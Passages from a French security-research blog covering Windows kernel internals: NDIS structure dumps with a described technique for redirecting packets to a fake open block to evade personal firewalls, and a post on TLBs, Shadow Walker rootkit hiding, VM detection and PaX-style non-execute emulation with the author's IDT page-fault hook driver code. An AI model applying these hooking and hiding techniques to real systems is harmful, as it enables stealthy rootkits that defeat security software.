+0x168 TrRxIndicateHandler : 0xfa5da1f1 void NDIS!TrFilterDprIndicateReceive+0
+0x16c FddiRxIndicateHandler : 0xfa5d81f8 void NDIS!FddiFilterDprIndicateReceive+0
+0x170 EthRxCompleteHandler : 0xfa5d9971 void NDIS!EthFilterDprIndicateReceiveComplete+0
+0x174 TrRxCompleteHandler : 0xfa5daa2d void NDIS!TrFilterDprIndicateReceiveComplete+0
+0x178 FddiRxCompleteHandler : 0xfa5d77fc void NDIS!FddiFilterDprIndicateReceiveComplete+0
+0x17c StatusHandler : 0xfa5d0a5f void NDIS!NdisMIndicateStatus+0
+0x180 StatusCompleteHandler : 0xfa5d0c9d void NDIS!NdisMIndicateStatusComplete+0
+0x184 TDCompleteHandler : 0xfa5ccf44 void NDIS!NdisMTransferDataComplete+0
+0x188 QueryCompleteHandler : 0xfa5cf907 void NDIS!NdisMQueryInformationComplete+0
+0x18c SetCompleteHandler : 0xfa5cfce3 void NDIS!NdisMSetInformationComplete+0
+0x190 WanSendCompleteHandler : 0xfa5cd26d void NDIS!NdisMWanSendComplete+0
+0x194 WanRcvHandler : 0xfa5d38a1 void NDIS!NdisMWanIndicateReceive+0
+0x198 WanRcvCompleteHandler : 0xfa5d3941 void NDIS!NdisMWanIndicateReceiveComplete+0
+0x19c NextGlobalMiniport : (null)
+0x1a0 WorkQueue : [7] _SINGLE_LIST_ENTRY
+0x1bc SingleWorkItems : [6] _SINGLE_LIST_ENTRY
+0x1d4 SendFlags : 0 ''
+0x1d5 TrResetRing : 0 ''
+0x1d6 ArcnetAddress : 0 ''
+0x1d7 XState : 0x2 ''
+0x1d8 ArcBuf : (null)
+0x1d8 BusInterface : (null)
+0x1dc Log : (null)
+0x1e0 SlotNumber : 0xffffffff
+0x1e4 AllocatedResources : 0x80df68a0 _CM_RESOURCE_LIST
+0x1e8 AllocatedResourcesTranslated : 0x80df6904 _CM_RESOURCE_LIST
+0x1ec PatternList : _SINGLE_LIST_ENTRY
+0x1f0 PMCapabilities : _NDIS_PNP_CAPABILITIES
+0x200 DeviceCaps : _DEVICE_CAPABILITIES
+0x240 WakeUpEnable : 0
+0x244 CurrentDevicePowerState : 1 ( PowerDeviceD0 )
+0x248 pIrpWaitWake : (null)
+0x24c WaitWakeSystemState : 0 ( PowerSystemUnspecified )
+0x250 VcIndex : _LARGE_INTEGER 0x0
+0x258 VcCountLock : 0
+0x25c WmiEnabledVcs : _LIST_ENTRY [ 0x80df339c - 0x80df339c ]
+0x264 pNdisGuidMap : 0x80dde900 _NDIS_GUID
+0x268 pCustomGuidMap : (null)
+0x26c VcCount : 0
+0x26e cNdisGuidMap : 0x40
+0x270 cCustomGuidMap : 0
+0x272 CurrentMapRegister : 0x7f
+0x274 AllocationEvent : 0xfabb82e0 _KEVENT
+0x278 BaseMapRegistersNeeded : 0x80
+0x27a SGMapRegistersNeeded : 0x10
+0x27c MaximumPhysicalMapping : 0x600
+0x280 MediaDisconnectTimer : _NDIS_TIMER
+0x2c8 MediaDisconnectTimeOut : 0xffff
+0x2ca InstanceNumber : 1
+0x2cc OpenReadyEvent : _NDIS_EVENT
+0x2dc PnPDeviceState : 1 ( NdisPnPDeviceStarted )
+0x2e0 OldPnPDeviceState : 0 ( NdisPnPDeviceAdded )
+0x2e4 SetBusData : 0xfa704330 unsigned long pci!PciPnpWriteConfig+0
+0x2e8 GetBusData : 0xfa704306 unsigned long pci!PciPnpReadConfig+0
+0x2ec DeferredDpc : _KDPC
+0x310 NdisStats : _NDIS_STATS
+0x328 IndicatedPacket : [32] (null)
+0x3a8 RemoveReadyEvent : (null)
+0x3ac AllOpensClosedEvent : (null)
+0x3b0 AllRequestsCompletedEvent : (null)
+0x3b4 InitTimeMs : 0xd88
+0x3b8 WorkItemBuffer : [6] _NDIS_MINIPORT_WORK_ITEM
+0x400 SystemAdapterObject : 0x80dd5788 _DMA_ADAPTER
+0x404 DriverVerifyFlags : 0
+0x408 OidList : 0x80dd8d58 _OID_LIST
+0x40c InternalResetCount : 0
+0x40e MiniportResetCount : 0
+0x410 MediaSenseConnectCount : 0
+0x412 MediaSenseDisconnectCount : 2
+0x414 xPackets : (null)
+0x418 UserModeOpenReferences : 0
+0x41c SavedSendHandler : 0xfa5ccd33
+0x41c SavedWanSendHandler : 0xfa5ccd33
+0x420 SavedSendPacketsHandler : 0xfa5cd31c void NDIS!ndisMSendPackets+0
+0x424 SavedCancelSendPacketsHandler : (null)
+0x428 WSendPacketsHandler : (null)
+0x42c MiniportAttributes : 8
+0x430 SavedSystemAdapterObject : (null)
+0x434 NumOpens : 2
+0x436 CFHangXTicks : 0
+0x438 RequestCount : 0
+0x43c IndicatedPacketsCount : 0
+0x440 PhysicalMediumType : 0
+0x444 LastRequest : 0xf7526b6c _NDIS_REQUEST
+0x448 DmaAdapterRefCount : 8
+0x44c FakeMac : 0x80de5680
+0x450 LockDbg : 0
+0x454 LockDbgX : 0
+0x458 LockThread : (null)
+0x45c InfoFlags : 0x2010211
+0x460 TimerQueueLock : 0
+0x464 ResetCompletedEvent : (null)
+0x468 QueuedBindingCompletedEvent : (null)
+0x46c DmaResourcesReleasedEvent : (null)
+0x470 SavedPacketIndicateHandler : 0xfa5d8b21 void NDIS!ethFilterDprIndicateReceivePacket+0
+0x474 RegisteredInterrupts : 1
+0x478 SGListLookasideList : (null)
+0x47c ScatterGatherListSize : 0
+0x480 WakeUpTimerEvent : (null)
+0x484 SecurityDescriptor : 0x80df4680
+0x488 NumUserOpens : 0
+0x48c NumAdminOpens : 0
+0x490 Ref : _ULONG_REFERENCE
On prend le champ EthDB qui pointe sur une struct ndis!_X_FILTER :
kd> dt ndis!_X_FILTER 0x80e438e8
+0x000 OpenList : 0x80e2fea8 _X_BINDING_INFO
+0x004 BindListLock : _NDIS_RW_LOCK
+0x214 Miniport : 0x80df3140 _NDIS_MINIPORT_BLOCK
+0x218 CombinedPacketFilter : 0xb
+0x21c OldCombinedPacketFilter : 0xb
+0x220 NumOpens : 2
+0x224 MCastSet : (null)
+0x228 SingleActiveOpen : (null)
+0x22c AdapterAddress : [6] ""
+0x234 MCastAddressBuf : 0xffb9b1b8 [6] "???"
+0x238 OldMCastAddressBuf : (null)
+0x23c MaxMulticastAddresses : 0x24
+0x240 NumAddresses : 1
+0x244 OldNumAddresses : 0
+0x234 AdapterShortAddress : [2] "??????"
+0x238 MCastLongAddressBuf : (null)
+0x23c MCastShortAddressBuf : 0x00000024 [2] ""
+0x240 OldMCastLongAddressBuf : 0x00000001 [6] ""
+0x244 OldMCastShortAddressBuf : (null)
+0x248 MaxMulticastLongAddresses : 0
+0x24c MaxMulticastShortAddresses : 0
+0x250 NumLongAddresses : 0
+0x254 NumShortAddresses : 0
+0x258 OldNumLongAddresses : 0
+0x25c OldNumShortAddresses : 0
+0x260 SupportsShortAddresses : 0 ''
+0x234 CombinedFunctionalAddress : 0xffb9b1b8
+0x238 GroupAddress : 0
+0x23c GroupReferences : 0x24
+0x240 OldCombinedFunctionalAddress : 1
+0x244 OldGroupAddress : 0
+0x248 OldGroupReferences : 0
Cette structure contient un pointeur sur un liste de _X_BINDING_INFO qui représentent les NDIS_OPEN_BLOCK attachés au miniport.
kd> dt ndis!_X_BINDING_INFO 0x80e2fea8
+0x000 NextOpen : 0x80dcef20 _X_BINDING_INFO
+0x004 NdisBindingHandle : 0x80e2fef0 _NDIS_OPEN_BLOCK
+0x008 Reserved : (null)
+0x00c PacketFilters : 0xb
+0x010 OldPacketFilters : 0
+0x014 References : 1
+0x018 NextInactiveOpen : (null)
+0x01c ReceivedAPacket : 0 ''
+0x020 MCastAddressBuf : 0x80f01bc8 [6] "???"
+0x024 NumAddresses : 1
+0x028 OldMCastAddressBuf : (null)
+0x02c OldNumAddresses : 0
+0x020 MCastLongAddressBuf : 0x80f01bc8 [6] "???"
+0x024 NumLongAddresses : 1
+0x028 MCastShortAddressBuf : (null)
+0x02c NumShortAddresses : 0
+0x030 OldMCastLongAddressBuf : (null)
+0x034 OldNumLongAddresses : 0
+0x038 OldMCastShortAddressBuf : (null)
+0x03c OldNumShortAddresses : 0
+0x020 FunctionalAddress : 0x80f01bc8
+0x024 OldFunctionalAddress : 1
+0x028 UsingGroupAddress : 0 ''
+0x029 OldUsingGroupAddress : 0 ''
kd> dt ndis!_X_BINDING_INFO 0x80dcef20
+0x000 NextOpen : (null)
+0x004 NdisBindingHandle : 0x80dc8c50 _NDIS_OPEN_BLOCK
+0x008 Reserved : (null)
+0x00c PacketFilters : 0xb
+0x010 OldPacketFilters : 0
+0x014 References : 1
+0x018 NextInactiveOpen : (null)
+0x01c ReceivedAPacket : 0 ''
+0x020 MCastAddressBuf : (null)
+0x024 NumAddresses : 0
+0x028 OldMCastAddressBuf : (null)
+0x02c OldNumAddresses : 0
+0x020 MCastLongAddressBuf : (null)
+0x024 NumLongAddresses : 0
+0x028 MCastShortAddressBuf : (null)
+0x02c NumShortAddresses : 0
+0x030 OldMCastLongAddressBuf : (null)
+0x034 OldNumLongAddresses : 0
+0x038 OldMCastShortAddressBuf : (null)
+0x03c OldNumShortAddresses : 0
+0x020 FunctionalAddress : 0
+0x024 OldFunctionalAddress : 0
+0x028 UsingGroupAddress : 0 ''
+0x029 OldUsingGroupAddress : 0 ''
Si on regarde bien le résultat de la commande !protocols on a 2 OPEN_BLOCK sur notre miniport qui sont :
kd> !protocols
Protocol 80d5bd40: NDISUIO
Open 80e2fef0 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)
Protocol 80d4c878: TCPIP
Open 80dc8c50 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)
Ho tient ce sont ceux qu’on voit dans les ndis!_X_BINDING_INFO ! On peut donc pour un packet entrant le rediriger sur un fake NDIS_OPEN_BLOCK à nous, de la même forme que l’original mais ayant les handler Reveive* modifiés, et voilà le tour est joué. J’avoue que j’ai choppé toutes ces infos dans la conf Rootkits: Attacking Personal Firewalls d’Alexander Tereshkin lors de blackhat 2K6. Je me demande même si ce n’est pas lui l’auteur de l’article dont je vous parle sur rootkit.com …
Si vous voulez vous faire plaisir, MS vous file les doc imbuvable de ses protocoles (merci à nono) Windows Server Protocols (WSPP)
février 22nd, 2008
Un drame m’est arrivé, la pire chose au monde. Ce matin au réveil, je m’aperçois que je n’ai plus de chocapicz … Tel un drogué je comprends que mon besoin primaire de cette nourriture ne pourra être satisfait rapidement, c’est dans ce genre de moment qu’on réalise que nos petites habitudes ont parfois prit une ampleur sur notre existence insoupçonnée, comment faire pour ne pas y penser ? Comment faire pour que mon ventre creux arrête de gargouiller, il est 13h (wiwi c’est l’heure ou je me réveil) tout est fermé, je me dis « Ivan, soit fort, combat cette drogue, fait autre chose, chasse cette envie de ton esprit ! » et j’ai fait ce que je sais faire le mieux, j’ai codé …
Ca faisait pas mal de temps que j’avais envie de jouer avec la pagination de OS. Bidouiller les PDEs, les PTEs, jouer avec mon cr3, courir avec des TLB près de la mer, bref, m’éclater avec ces mécanismes. J’avais toujours en tête les différents papers plus au moins vieux sur le sujet mais je voulais faire quelque chose d’un peu plus original sous Windows. Un pote m’a montré la documentation de PAX, vous savez le patch kernel unix qui sert à prévenir pas mal d’exploitations de binaires. En fait PAX émule une protection en exécution des pages mémoire, comme le NX bit dispo sur les processeurs récents. Le NX bit à besoin du PAE activé ou un mode 64 tapz pour fonctionner ce qui est un peu dommage par rapport à ce qu’il apporte en terme de sécurité.
Pour comprendre comment fonctionne la protection en non-execute des pages, il faut d’abord savoir comment fonctionne la translation d’adresses virtuelles en adresses physiques, pour cela je vous invite à relire ce post.
Si vous avez lu (ou que vous connaissez déjà un peu le sujet) vous remarquerez que le processus de translation d’adresses virtuelles (virtual addresses, VA) en adresses physiques (physical addresses, PA) est un peu long et demande au moins 3 lectures en mémoire. Pour pouvoir optimiser cela les constructeurs de CPU ont ajouté un cache permettant de faire le lien entre les VA et PA plus rapidement, on appel ces caches des TLB (Translation Lookaside Buffers). Ils contiennent des cellules qui font correspondre les VA au PA du process courant afin de pouvoir optimiser la translation d’adresses.
Après il faut savoir que les TLP sont splités en 2 parties, l’ITLB et le DTLB. L’ITLB (Instruction TLB) va contenir les translations d’adresses pour le code exécutable. Le DTLB (Data TLB) quand a lui contient les translations pour le reste des données. L’utilisation des TLB est donc résumer par le schéma suivant :
Tout d’abord la MMU va check si une entré est présente dans les TLB pour faire la translation, si oui on un un TLB Hit, sinon on a un TLB Miss et on doit perdre du temps 0 parcourir les PDE/PTE.
Les TLB sont assez connu dans le domaine de la sécu, notamment pour 2 faits. Premièrement, pour avoir été décrit dans phrack par Sherri Sparks et Jamie Butler dans l’implémentation du shadow walker. Le concept du shadow walker permet à un rootkit kernel-land de caché du code ou des données au processeur lui même. Le principe réside évidemment sur la translation d’adresses. Prenons une gentille page mémoire présente dans la RAM, tranquillement elle vit sa vie, se faire lire, écrire voir même exécute. Elle est forcément décrite par un PTE (Page Table Entry) qui, sous architecture x86, est de la forme :
Lorsque l’OS trouve que la page n’est pas assez souvent utilisée, il peut, pour gagner de la mémoire, la swapper sur le disque dans le fameux fichier pagefile.sys. Vous comprenez bien que si un programme décide d’aller chercher cette page en mémoire, il va se sentir un peu seul quand il va voir qu’elle n’y est plus, il faut donc que l’OS la recharge. Cependant il doit savoir, quand la recharger, vous me direz « bah quand le programme en a besoin sale ruskoff communiste buveur de vodka », certes … Pour cela, lorsque l’OS outswap la page sur le disque, il met la 0 le premier bit du PTE (Present Bit), ainsi lorsque la MMU va aller chercher la page, en voyant que le present-bit est 0, va lancer une exception de type page-fault (0x0E) alertant ainsi le memory-manager qu’il faut inswapper la page en mémoire.
Jusqu’ici rien de nouveau, le shadow walker va utiliser a son escient le present-bit. Prenons une autre gentille page mémoire et mettons son present-bit à 0, sans l’outswapper. Si un accès est fait sur cette page, une exception est générée, normalement le memory-manager ne sait pas gérer ce genre d’exceptions, c’est pourquoi nous avons notre propre page-fault handler placé avant. Celui-vi va servir à vérifier d’ou provient l’accès à notre page, dans le cas d’une demande d’exécution, si l’accès ne provient pas d’une source valide on remplace le PTE par un fake PTE représentant une page contenant du junk code. Cet à ce moment qu’interviennent les TLB, au lieu de remettre la present-bit de la page à 1, ce qui pourrait être problématique car nous ne pourrions intercepter les prochaines exécutions sur notre page, on va tout simplement ajouter une entré dans l’ITLB en faisant correspondre à notre VA en PA sur une page contenant du junk code, c’est de la balle, car avec cette technique, on est en mesure d’intercepter les prochaines demandes d’exécution de notre page.
Dans le cas d’une demande de lecture/écriture, on regarde aussi d’ou provient l’appel, si la demande est autorisée on charge la translation d’adresse dans le DTLB.
Les TLB sont aussi connus pour servir dans la détection des VM, l’idée peut-être résumé par le post de Thomas Patcek de chez Matasano. Le but est de désynchroniser les TLB et les PTE, c’est à dire de laisser dans les TLB des translations d’adresses de pages dont le present-bit est à 0. L’attaque consiste à se place dans la VM, on désynchronise les TLB et les PTE et on fait en sorte de saturer le TLB sur un gros bloque de mémoire qu’on a alloué et dont on a mit les present-bits de ses pages à 0. Il faut savoir que pour différences les TLB entries de l’host et de la VM, les entries sont taguées par des ASID (Address Space Identifiers), donc un flush des TLB dans l’host ou la VM n’affectera pas les entries taguées par les autres ASID. Maintenant qu’on a floodé le TLB, que ce passerait-il si on devait revenir dans l’environnement de l’hôte ? Naturellement ce dernier irait flusher une parie des entries du TLB, celui-ci étant plein, pour pouvoir gérer la VM, après retour dans la vm, on aurait donc une translation d’adresse fausse avec les entries du TLB taguées avec les ASID de la VM. Il suffit donc de prendre une instruction demandant une sortie de l’hyperviseur mais qui dans un contexte normal n’effectue aucun accès mémoire, cette instruction c’est CPUID. Sous Intel VT-x et AMD-V, elle requiert une sortie de l’hyperviseur pour être géré, de ce fait on est capable de vider des entries de la VM du TLB et de fucker les translations de notre big bloque de mémoire et DONC par effet de bord de détecter la VM, ouf …
Bon évidemment je vous prends la tête avec des notions par forcément évidentes à comprendre. Pour la suite retenez 4 choses par coeur sur les TLB :
- Reloading cr3 causes all TLB entries except global entries to be
flushed. This typically occurs on a context switch.
- The invlpg causes a specific TLB entry to be flushed.
- Executing a data access instruction causes the DTLB to be loaded with
the mapping for the data page that was accessed.
- Executing a call causes the ITLB to be loaded with the mapping for the
page containing the code executed in response to the call.
Revenons un peu à notre patch noyau, PAX, celui-ci tire avantage des TLB pour émuler une protection en non-execute. La question est comment ? Simple il suffit de lire la doc, extrait :
« The above described TLB behaviour means that software has explicit control
over ITLB/DTLB loading: it can get notified on hardware TLB load attempts
if it sets up the page tables so that such attempts will fail and trigger
a page fault exception, and it can also initiate a TLB load by making the
appropriate memory access to have the CPU walk the page tables and load one
of the TLBs. This in turn is the key to implement non-executable pages:
such pages can be marked either as non-present or requiring supervisor level
access in the page tables hence userland memory accesses would raise a page
fault. The page fault handler can then decide whether it was an instruction
fetch attempt (by comparing the fault address to that of the instruction
that raised the fault) or a legitimate data access. In the former case we
will have detected an execution attempt in a non-executable page and can
act accordingly (terminate the task), in the latter case we can just change
the affected page table entry temporarily to allow user level access and
have the CPU load it into the DTLB (we will of course have to restore the
page table entry to the old state so that further page table walks will
again raise a page fault). »
Pour résumer, l’idée consiste à marquer les present-bits des pages à protéger à 0, ainsi lorsqu’une demande est faite sur ces pages, elle génère une exception de type page-fault. On vérifie le type de demande, dans le cas d’une requête en read ou write on charge une entrée dans le DTLB avec le code suivant :
cli //disable interruptions
mov ebx, ptePage //ebx : Pointeur sur le PTE de notre page filtré
or dword ptr [ebx], 0x01 //marque la page présente
mov eax, dword ptr [eax] //acces en lecture qui va remplir le DTLB
and dword ptr [ebx], 0xFFFFFFFE //page non présente
sti //enale interruptions
On oublie évidemment pas de flusher notre page de l’ITLB avec l’instruction invplg. Maintenant que notre DTLB est remplit, on peut sans problème travailler sur nos pages. Lors du prochain changement de contexte, les entries sera flushée mais du fait que les present-bits des PTE décrivant les pages à protéger sont à 0, on aura de nouveau une interruption et de nouveau on rechargera le DTLB. Ce qui est cool c’est qu’on à besoin que d’un page-fault pour ajouter une entrée au DTLB, donc tant qu’on reste dans le contexte de notre process (même cr3) tout se passe bien.
Si un programme demande un accès en exécution sur une page protégée, du fait que l’ITLB est vite, on aura un ITLB miss qui va appeler le page-fault handler, notre page-fault handler même, ce dernier aura pour rôle de dire au programme qu’il est impossible d’exécuter cette page.
Je me suis amusé à réaliser un couple programme user-land, driver r0, mettant en application ce concept. Le driver va recevoir des IOCTL du programme lui demandant de protéger une seule page mémoire, il va aussi installer son propre page-fault handler dans l’IDT afin de filtrer les exceptions. Voici le code du nouveau page-fault handler :
//Our KiTrap0E handler
VOID __declspec(naked) NewInt0EHandler(void)
{
__asm
{
// sur la stack on a
// [page fault error code]
// [faulting eip]
// ...
pushad
mov edx, dword ptr [esp+0x20] //PageFault.ErrorCode
test edx, 0x04 //verif si le core etait en usermode lors de l'except
je PassDown //sinon on se casse
//verif si l'except s'est produite dans notre proces space
mov eax, cr3
mov ebx, Mycr3
cmp eax, ebx
jne PassDown
mov esi, cr2 //esi : Adresse du page fault
mov eax, esi
shr eax, 12 //masque a 0x1000
mov ebx, vaPage
shr ebx, 12 //masque a 0x1000
cmp ebx, eax
//si ce n'est pas notre page
jne PassDown
//un acces a ete fait sur notre page
//on flush le TLB
invlpg vaPage
//esp+0x24=eip fautif, si eip=adresse du page fault, alors on a une demande d'exec
//et on leave
cmp [esp+0x24], esi
je Execution
//
// DTLB
//
mov eax, vaPage
//on ajoute une entrée dans le DTLB
cli //disable interruptions
mov ebx, ptePage //ebx : Pointeur sur le PTE de notre page filtré
or dword ptr [ebx], 0x01 //marque la page présente
mov eax, dword ptr [eax] //acces en lecture qui va remplir le DTLB
and dword ptr [ebx], 0xFFFFFFFE //page non présente
sti //enale interruptions
jmp ReturnWitoutPassDown
//
//ITLB
//
Execution:
int 3
//hack de la mort qui tue ....
// !!! NE LE REFAITE PAS CHEZ VOUS !!!
//en esp+0x20+4 on a l'adresse du page-fault, c'est à dire le début de notre page (esi)
//pointé par esp+0x20+16 on a le user-land esp qui pointe sur l'adresse de retour pushé par le "call Page"
//le iretd va retourner sur l'adress pointé par esp+0x20+4, pour eviter un nouveau page-fault on le fait
//retourner sur l'adresse pointé par esp+0x20+16 en userland.
mov eax, dword ptr [esp+0x20+0x10] //eax=userland esp
mov eax, [eax] //eax=adresse de retour
mov [esp+0x24], eax //change le retour de iretd
ReturnWitoutPassDown:
popad
add esp, 4
iretd
PassDown:
popad
jmp OldInt0EHandler
}//end asm
}//end NewInt0E
Dans mon code, dans le cas d’une demande d’exécution j’ai du tricker comme un péruvien élevant des lamas … On sait que lors d’une exception on se retrouve sur la stack kernel-land avec :
esp+00 Error code
esp+04 Return EIP
esp+08 Return CS
esp+12 Return EFLAGS
esp+16 Return ESP
esp+20 Return SS
esp+24 Return ES
esp+28 Return DS
esp+32 Return FS
esp+36 Return GS
Cette stack sert pour le retour en user-land avec l’instruction iretd. Sachant que j’ai appelé ma page à protéger avec un call, donc sur la stack user-land, pointé par esp, j’ai mon adresse de retour. Pour retrouver le esp user-land, il suffit de regarder le esp+16 kernel-land, on remplace l’adresse de retour du iretd (esp+4) et hop ! On retombe sur nos pattes, bon j’avoue c’est tricky, mais bon, c’est de l’info, tout est permit :]
MAIS pour une raison inconnue lors du retour en userland par iretd, le segment fs est mit à 0 alors que dans le esp+32 kernel-land il vaut sa valeur normale (0x3B), donc lorsque le soft qui call le driver veut lire son TEB au moment de quitter il fuck :’( Pourtant quand le retour se fait avec le jmp sur PassDown tout est OK, j’avoue être dans le brouillard
Bref, mise à part ce bug, ca fonctionne. J’espère que vous avez à peu prés comprit le principe pour émuler une protection en non-execute grâce aux TLBs, j’attends avec impatience vos impressions. En attendant vous pouvez jouer avec les sources+binaires dispo ici :
http://ivanlef0u.fr/repo/TLB.rar
Sinon, allez lire blog de mon jeune padawan c’est du contenu moins hardcore mais tout aussi instructif
http://0vercl0k.blogspot.com/
ref :
http://book.itzero.com/read/microsoft/0507/microsoft.press.microsoft.windows.internals.fourth.edition.dec.2004.internal.fixed.ebook-ddu_html/0735619174/ch07.html
http://bluepillproject.org/stuff/IsGameOver.ppt
http://www.matasano.com/log/930/side-channel-detection-attacks-against-unauthorized-hypervisors/
http://en.wikipedia.org/wiki/Translation_Lookaside_Buffer
http://pax.grsecurity.net/docs/pageexec.txt
http://phrack.org/issues.html?issue=63&id=8&mode=txt
Les précédentes recherches de b0l0k
http://www.c0ding.fr/blog/?p=6
http://www.c0ding.fr/blog/?p=7
Ses liens :
An Architectural Approach to Preventing Code Injection Attacks
http://cairo.cs.purdue.edu/pubs/dsn07-codeinj.pdf
Hardware-assisted circumvention of self-hashing software tamper resistance
http://www.scs.carleton.ca/~paulv/papers/IEEE-extended.7april05.pdf
Rootkits ‘n Stuff
http://www.acm.uiuc.edu/sigmil/talks/shadowwalker/Shadow+Walker+Talk.pdf
février 4th, 2008